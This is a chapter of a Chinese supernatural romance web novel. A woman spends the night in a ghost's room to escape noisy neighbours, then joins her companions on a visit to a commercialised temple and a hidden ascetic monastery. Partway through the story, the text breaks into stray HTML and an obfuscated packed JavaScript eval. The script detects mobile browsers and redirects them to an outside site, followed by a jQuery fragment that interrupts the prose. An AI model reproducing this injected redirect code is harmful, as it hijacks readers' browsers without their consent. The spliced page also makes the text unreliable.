睡不着······
楚柒第无数次翻身,烦躁地抄起枕头捂住脑袋。
“咯咯咯······”一道女子娇柔的笑声。
“你这磨人的小妖精······”一道男子粗粝的打趣声。
“你轻点,咯咯咯······”
这趟旅程,最恐怖的事情还是发生在楚柒身上了。住在她隔壁的小情侣没羞没臊地从十一点折腾到了凌晨一点。
墙上的时钟滴滴答答,窗外的野风呼啸,都不及楚柒的内心一万个草泥马欢腾。
楚柒第无数次拿起手机看时间。
救命,明天还要早起······
几分钟后,“叩叩叩”楚柒穿着及膝睡裙,卷起铺盖走人,敲响了另一个隔壁的房门。
门开了,只开了一条门缝,裴长离看着大半夜来访的客人,眼中闪过警惕:“你干嘛?”
这大半夜的,穿着清凉,抱着被褥。这女人······嘶······莫非······
楚柒直接推开了门,而有心挡门的裴长离半透明的身体无法阻拦住不速之客。
“你······”
“嘘!”
楚柒进到房内,让他安静。
她闭上眼,将注意力全集中在耳边,认真聆听,果然这里就安静了——要的就是这个效果。
楚柒毫不客气地躺到整洁的大床上,撩起没被人动过的被子给自己盖上。
裴长离飘到床边,这不速之客不仅完全忽略他,还霸占他的床,虽然他不用睡觉,但很不爽。
他轻轻戳她的眉毛,被她一手扫开。他不满地皱眉,又去戳她的鼻尖,楚柒被烦的不行,翻了个身,敷衍他道:“你去我房间,电视开着的。”
裴长离听到可以看电视,轻哼一声,他不和这女人一般见识,随即穿墙去到隔壁。
一分钟后,裴长离去而复返,带着满身寒气。
他目露凶光,盯着那床上隆起的小山丘。
气煞他也,居然害他听到那种令人作呕的污言秽语。
当即,他大——小发雷霆了一下,他伸手摸上她半露在外的头,抚摸到她头顶上的毛发,然后胡乱一揉。
楚柒拧了拧眉,这觉是睡不下去了,他再朝她的天灵盖散发寒气下去,她可就要冻感冒了。
楚柒顶着两个黑眼圈,幽怨无比地坐起。
裴长离命令她:“回去。”
“不要。”
“那是你自己选的房间。”
“不回。”
楚柒赌气,她还是个纯洁的少女,她才不要再回去受那对小情侣的精神折磨,今晚无论如何,她都要厚着脸皮在这住下。
二人干瞪眼僵持着。
不一会儿,楚柒眼睛瞪得酸涩,抬手揉眼睛。她听到对面传来动静。
裴长离坐到床角,留给她一个背影。
“等明早上被人看到你我孤男寡女共处一室,看你怎么跟人解释去。”
他背对她,看不清他什么神情,但楚柒从他咬牙切齿的语调中推理得出,他现在肯定是一脸吃瘪的模样。
楚柒心满意足地拉上被子,一头栽进枕头里。
她困到不行,说话都不自觉黏糊起来:“好鬼有好报,谢谢你······”
裴长离听到身后人的呼吸轻了,咬紧的后槽牙才松开,他微微叹息:真拿她没办法。
那句软软乎乎的道谢犹在耳边,这貌似是她头一次这么跟他说话呢······
他每次复苏都会保留下那家伙的记忆,就相当于是在透过那家伙的视角复盘了一遍白天所发生的事。他再怎么不在意,也是清楚的感受到了楚柒面对他的时候,颇有主见,彪悍无比,不听他话,当真让人扫兴。她要一视同仁还好,怎地偏偏一面对那家伙就换了副嘴脸。
整天将军前将军后的,又对他笑又对他撒娇的,那双眼睛里看着‘他’,就好像有星星一样······
他嘴角不自觉上扬——
突然意识到自己在干什么,他瞳孔猛地一震。
他该不会被那个恋爱脑的家伙给传染了吧,他怎么也开始脑补起来了。
身后的人传出翻身的动静,牵动着他身下的布料,被褥穿过他的半透明躯体被拽到了另一头去。
他透过对面墙上的电视,看到了黑屏上倒映的人。
······她睡姿实在是无所顾忌,分明还有他这么大个鬼在旁边。裴长离视线扫到那只露在外面的脚踝、小腿······
他瞬间惊起一身鸡皮疙瘩,匆忙起身。
暗咒自己跟没见过世面的黄毛小子一样,那明明就是个无耻的、双标的、可恶的、不听他话的女人······
下一秒,他再次穿墙,回到隔壁去。
裴长离一回来,趴在地毯上的睡觉的大公鸡和黑猫先后醒来,四只眼睛齐刷刷直视着来人,充满疑惑。
裴长离冷着脸,忽略那四只瞪得像铜铃的眼睛,径直坐到楚柒躺过的床上,目不转睛地盯着电视。
只是他目光渐渐涣散了去,不知电视上在播着什么,不知隔壁在叫嚷着什么,不知思绪又飘到何处去。
······
清早,一行人约定好在酒店大堂会和。
他们昨天舟车劳顿,好歹四季酒店的单人间都是设施齐全的,伍代妮和陈彬东各自回房间后洗过热水澡再早早休息,等到清晨一觉醒来都恢复得差不多了。
当然,选错房间,受到隔壁小情侣暴击的楚柒状况十分糟糕。
“师妹你昨晚又打野猫龙去了?”陈彬东打趣道,遭到楚柒一个白眼回应。
伍代妮关心地问楚柒怎么没休息好,楚柒只说一言难尽。
这时,有两人从他们身边走过,一男一女,男的高大帅气,女的妩媚动人,二人亲密地挽着手。
“好哥哥,你可真不懂得疼人~”那娇滴滴的声音传入楚柒耳朵里,熟悉的调调令她一下应激得汗毛直立。
她好奇地看过去,不知是不是巧合,她一扭头就和那对小情侣对上了视线。
男的凤眼一眯,侵略性满满,女的狐狸眼一挑,不怀好意。
楚柒也不带怕的,她一双熊猫眼当即回瞪过去。
视线交锋间,那男人眼中闪过什么,女的对他暗道一声:“奇怪。”二人交换眼神,然后双手挽着一起出了大堂。
伍代妮顺着楚柒的视线看过去,疑惑地问:“你在看什么呢?”
“欸?”楚柒蒙了,伍代妮一问,陈彬东也看过去,皱起眉似乎也没看到那对小情侣。
什么情况?
楚柒扭头,和裴长离对视上,他对她摇了摇头。
看来他也一样,竟一开始就没察觉到那二人的奇怪。
他们是妖还是鬼?居然能将自己的气息隐藏得和人类一样。
不一会后,墨江南从电梯里出来,看到等待的四人,他上前。“今天的行程安排很简单,寺庙有展览和表演,我们只需要当观众。明天举行座谈会,小陈你一会儿帮我个忙,你用电脑帮我弄份演讲稿。”
墨江南可谓活得像是个刻板印象里的道士,他日常除了接单下山做法事,其他时候不问世事,流连于山水之间,平日里不怎么接触电子产品,手机输入法用手写输入,道观内的唯一一台电脑一年不开机几次,所以他也只会二指禅打字,打字速度过于龟速。
而座谈会的举办方颇为麻烦,要求他提供一份演讲稿,要让他在一天内敲一份稿子出来,还是过于勉强了,只好让他们年轻人代劳。
陈彬东点头,表示没问题。上个月外出学习那一阵,每天都有打卡任务,要交笔记、学习心得、讲座报告等等,他和伍代妮不知已经写了多少假大空、用来应付领导的稿件。
他现在手还没生疏,他写出的文稿比用那些什么ai生成的强得多。
墨江南:“至于后天的安排,听说是有一场试胆大会,分两种,对游客开放的一种就是晚上由庙里的管理员们带着去山上野个营,听一下和尚念经。”
“另一种是他们内部正式的,只有他们门内的人参加。”
至于他们,应该是只能止步,参与第一种了。
他们来时有想过这趟行程会很简单无聊,没想到这么无聊。
伍代妮暗自叹了口气,陈彬东好歹找到点活干,她只能闲着,那她还不如背背单词呢。
然后众目睽睽之下,她从包里掏出了一本厚厚的□□······
墨江南:再无聊,也不至于此吧。
楚柒:“师姐你要考研呢?”
伍代妮没有否认。
“考啥专业呀?非全还是全日制?师姐你都入编了,在编不好吗?”楚柒的脑袋里冒出了一万个不解,她看向一旁沉默的陈彬东,他一脸平静,看来早已知道。
她不会是最后一个知道师姐要考研的吧。
伍代妮满脸无奈,只告诉楚柒:“我爸妈希望我做点‘正经’事。”她在正经二字上打了个双引号。
楚柒明了了,师姐曾经跟她说过她家里的事。
小时候她爷爷走的时候,她第一次接触到殡葬这一行业。因为爷爷离去,一股悲伤一直哽在她心头。
直到吊唁那天,她见到爷爷安详地躺在棺材中,全场静默无声,入殓师和火化师们站在棺前,为爷爷整理遗容,他们专业而庄重。她知道他们是要送她爷爷入土为安的人,在她眼里,他们像是超越生死的斗士一样,他们和其他大人不一样,他们面对了无数生死,却又对生死心怀敬畏。
在肃穆庄严的氛围下,她小小的内心受到极大震撼,在圣神的诵经声中,她的悲伤居然缓缓消退了。她看向爷爷的棺材,好像能看到他的灵魂,他在对她招手告别······
一颗种子在那时便悄悄萌芽了。
他们家条件优渥,比起其他家庭,二老对唯一的女儿十分宽容,不苛求她长成人中龙凤什么的,上完大学任意找个班上就足够了。但是女儿却毫无预兆地选择殡葬学,要做殡葬那一行。二老十分不解,明明可以安逸享受日子,却要去和死人打交道。而且还是个捧在手心里的姑娘家家,去做那一行,能吃得消?
大学期间,为了让女儿转专业,他们还试图断过生活费,换来的却是女儿更加的一意孤行。等毕业了,女儿考上本地的单位,有了收入,更加没有转圜的余地。
二老依然不肯妥协,坚持不懈地劝阻,最近,伍代妮被烦得不行了,终于有所松动。
伍代妮以为坚持做自己喜欢的,让他们看到她工作时真实的样子,能破除偏见,他们就能妥协了,但最终到头来,妥协的还得是她。
一边,陈彬东鼻腔轻哼,似是不满。
被她父母瞧不起的行业,可是他父亲和他引以为傲的事业。
他恍若没有伍代妮这个人,当面和楚柒蛐蛐:“我们当中有叛徒,明明说好一起苦,某人却偷偷准备跳槽。”
伍代妮无奈,安慰小伙伴们:“我能不能考上还不一定,别当我就要离职了似的。”
······
宝相寺,一个古老的寺庙。曾经承载着历史的沧桑与佛教文化的庄严,至于为什么是说曾经,因为······
来到半山上,规模庞大的寺院展露在他们面前,视线转到山门上,朱红漆面鲜红无比,显然是才翻新刷上的,白泥墙边贴了一排LED彩色灯带。门口竖着几副立式广告牌,有这次展演会的宣传海报,也有赞助商的广告。
唯有门楣上的“宝相寺”三个大字还保留着原汁原味,透露着古朴气息。但是在这座寺庙的一派“新气象”当中显得突兀不已。
进入寺庙的正门口,入眼的是一个摊子,与寺庙气质格格不入的卡通kt板上标着:游园打卡册领取,集章领福袋。
楚柒看了一眼他们陈列出来的奖品,是某地包邮批发的五彩绳手链,外加一张宝相寺的小卡。
“领取打卡册吗?”摊主问。
楚柒摇了摇头,没要打卡册。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15393461|163431||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
从正门进去,能看到许愿墙、留影墙,楚柒好笑地寻找,没准在某个角落还能找到一个蓝色牌牌,上面写着“我在宝相寺很想你”。
尽管客流量减少,仍有不少年轻人通过网上的宣传被吸引前来,专门来打卡拍照。
但也能看到穿着素净的老头老太太,前来拜佛吃斋饭。
展演和座谈会都在正殿院前举办。要进入正殿要先穿过几个宝殿。
他们随着游人进入寺院的第一间宝殿,殿内中心陈设着高耸的佛塔,佛塔上供奉着上百佛像,每尊佛像都不一样,它们两侧各摆一只蜡烛,这蜡烛其实是由塑料做的烛身,里面是一根LED灯管。佛塔通过一定角度的设计,只要地面的人一抬头,就能和每一个佛像‘对视’上。
以两只眼对视上百只眼,颇有压迫之感。
塔前供奉的是三尊大佛,大佛面前摆放了一排蒲团,有几个人正跪在蒲团上,他们双手合十,拨动着手中朱砂,闭着眼,神情虔诚地拜三拜。
墨江南带领他们安静地绕左走,按顺时针方向绕到佛塔之后,从宝殿后门离开。
裴长离正仰头打量着佛塔上的佛像,察觉到楚柒投来的视线,低头看向她,只见她皱着眉,他无声询问。
楚柒摇了摇头。她在想虽说这是个十分商业化的寺庙,毕竟是佛门之地,仍有可能存在某些非自然之力,而裴长离为人间‘不容’,可能会受影响。
她观察一番,在他身上环绕着一层淡淡的白色灵气,波动幅度一如既往,她手上的线也许久未动过,看来他没有受到任何影响。
走出宝殿,一位身穿三宝领海清的方丈上前迎来,正是昨晚一起到达酒店后和他们分开的释道齐。
经过一路行程,墨江南对这位释道齐的了解加深,除了一开始他对楚柒评头论足令他介意之外,这位大师还是颇有水准的,也是清净戒行、淡泊名利之人。
虽然爱说教,但也是怀有广度众生的心。他也没想到,楚柒那特殊身份产生的气场竟让释道齐误解了去。
在车上,释道齐又再度表明他对楚柒的关切之意,想让他多加看护,当时他有心为小辈解释两句,还没开口,这陈彬东就先插了嘴:“墨叔你看,连大师都看出小师妹不务正业了,之前我莫名被蛇追,被风吹进水池子,吃饭吃到毒虫子,我都说是小师妹搞的鬼,你们都不信。这次出差,我到酒店一开我行李箱,居然蹦出来一只癞蛤蟆。”
而他不过是在临走前对她说:师妹,我们走了,你可要扛起大梁咯,记得跟我爸要点加班费。
就这么一句不带冷嘲热讽的真心忠告,她就不知什么时候给他塞了一只小伙伴。
陈彬东这次学习回来,在楚柒面前都变得沉默寡言起来,他现在可算是怕了小师妹了,在她面前能少说就少说,生怕又戳她肺管子。
墨江南欲言又止:“······”你这么说,他可就又有话要说了。
他当年收徒不成,追着他们下了山,在殡仪馆里混吃混喝——暂住那阵功夫,他为了测试楚柒的天赋,带下山的有桃木剑、黄符纸、香檀木等等好东西。他当时寻思,收徒这件事肯定能成,但最后问楚柒拜不拜他为师的时候,陈九章这个程咬金就杀出来了,说什么也不准拜,让他送那些宝贝给他们就当在殡仪馆借住的房租伙食费了。
最后被偷师之后,她连学带拿的,搜刮了他那一堆宝贝去。
此后每年,她都无事不登三宝殿,一来就说觉得他老人家一个人住山里孤孤单单,特地来看望他,实际上要不是来偷师学艺,要不就是闯出什么大祸,让他去帮忙收拾。
前日释道齐看到的那些封印小鬼的木偶,有一部分还是他帮忙捉的······
释道齐上前招呼他们,墨江南点头对拜,“大师。”
“墨小友。昨晚休息得如何?”释道齐寒暄道,眼神扫过一行人,目光落到退在众人身后的楚柒,她打着哈欠,眼神疲惫,站相松垮,就站这么一小会儿的功夫还微微倚靠向了旁边人。
他眼中满是不赞同,这群人中,就数她最没精气神,难怪修行偏斜之道,行不正之术。
楚柒突然觉得耳朵发烫,摸了摸耳朵。
裴长离看她,“怎么了?”
“不知道,感觉有人骂我。”
释道齐咳嗽一声,抬手做出请的手势:“你们随我来吧,这里人多,我们借一步说。”
释道齐引路,没有带他们前往正殿,而是沿着一条石阶小道一直走,径直走出了宝相寺。
“我们这是要去哪里?”墨江南问,也是替他们问。
释道齐解释道:“你们有所不知,这宝相寺虽美,却并非僧人真正修行的所在。你们且仔细看那山顶之上,那座青瓦白墙的小寺院才是我们的目的地。”
楚柒抬头张望,穿过一片碧绿层林,确实有座建筑在山顶密林中,只是相比起宝相寺,那座小庙不甚起眼。
上山的路僻静而遥远,石台阶越发陡峭,林木也越发茂密。等靠近了那寺院,悠长的撞钟声传入耳中,在跋涉了这一段路程后,这几道钟磬音给人带来豁然开朗之感。
释道齐说,山下的僧人是僧人,而山上的僧人更是真正的僧人。能上山的他们都早已摒弃对物质的欲望,通过身体上的修行和意志上自我克制、极端忍耐的磨炼,以追求精神的解脱。
楚柒听释道齐说起山上僧人的修行,她这才注意到这大师原来一直在赤脚行走。石台阶不平滑,走起来肯定磨脚,他在寺庙里每天都这样上上下下。
她知道世间有苦行僧,他们生活极简,苦行实践,有时长期断食断水、赤脚行走、忍受极寒酷暑等等,以‘苦痛’来达到净化的目的。
所以释道齐没明说,他所谓真正的僧人是在指一群苦行僧吧。
释道齐又说:“这里是禁地,一般不让外人进入。”
但他却打破规矩,带他们一帮人呢外人,而且还有不同信仰的人来到这。
这趟无聊的旅程似乎有意思了起来。